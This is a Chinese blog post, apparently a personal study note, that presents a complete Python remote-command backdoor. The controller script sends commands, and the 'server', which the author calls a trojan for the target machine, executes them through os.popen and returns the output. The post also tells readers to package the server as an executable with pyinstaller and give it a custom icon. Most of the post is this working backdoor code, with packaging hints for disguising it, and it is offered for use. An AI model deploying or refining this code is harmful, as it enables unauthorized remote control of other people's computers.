简单shell编写

就是个利用套接字的过程,做个学习笔记用
msf.py

image.png

做控制端来用,serAddress的第一个参数位填写目标靶机的ip地址,第二个参数位是目标靶机的端口号。当然一个成型完善的木马肯定是一个自触发自动获取ip的过程,实现原理也很简单。

server.py

image.png

做服务端用,放在靶机里面运行就ok,由于python是跨平台的语言,所以不存才无法运行的情况。

运行情况

image.png

控制端通过套接字的tcpsocket.send(sendcmd.encode(‘utf-8’))命令,将命令传入,服务端用accept()方法接收控制端传来的指令。然后创建一个cmd变量装起来。os可以执行系统命令,将cmd里面的内容执行。返回的内容,再传回控制端。

python打包命令

先装 pyinstaller库    pip install pyinstaller

image.png

image.png

还可以指定ico文件,做一个图标。具体命令网上自查。我以前的文章中有一篇关于CS制作木马并打包的教程。

贴一下代码吧,免得以后代码丢了

#client
#控制端
from socket import *
tcpsocket =socket(AF_INET,SOCK_STREAM)
serAddress=('',12345)
tcpsocket.connect(serAddress)
while True:
    sendcmd=input("msf>>")
    if len(sendcmd)>0:
        tcpsocket.send(sendcmd.encode('utf-8'))
    else:
        break
    #接收执行后的结果
    recv=tcpsocket.recv(4096)
    print(recv.decode('utf8'))
#close
tcpsocket.close()

服务端

# encoding: utf-8
# server:放在靶机-木马
#gui-dos-cmd
import os
from socket import *
#创建连接tcp
#IPV4 和 tcp进行通讯
qq=socket(AF_INET,SOCK_STREAM)
#绑定主机IP
address=("",12345)
qq.bind(address)
qq.listen(5)
while True:
    pass
    newsct,clientsct=qq.accept()
    while True:
        cmd=newsct.recv(4096)
        #判断cmd是否有没有内容
        if len(cmd)>0:
            print("console:"+cmd.decode("utf-8"))
            #以下可以做控制操作
            res=os.popen(cmd.decode("utf-8"),'r')
            newsct.send(res.read().encode("utf-8"))
            res.close()
        else:
            break
    newsct.close()

PS:仅做个人学习用途,欢迎各位师傅指点。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值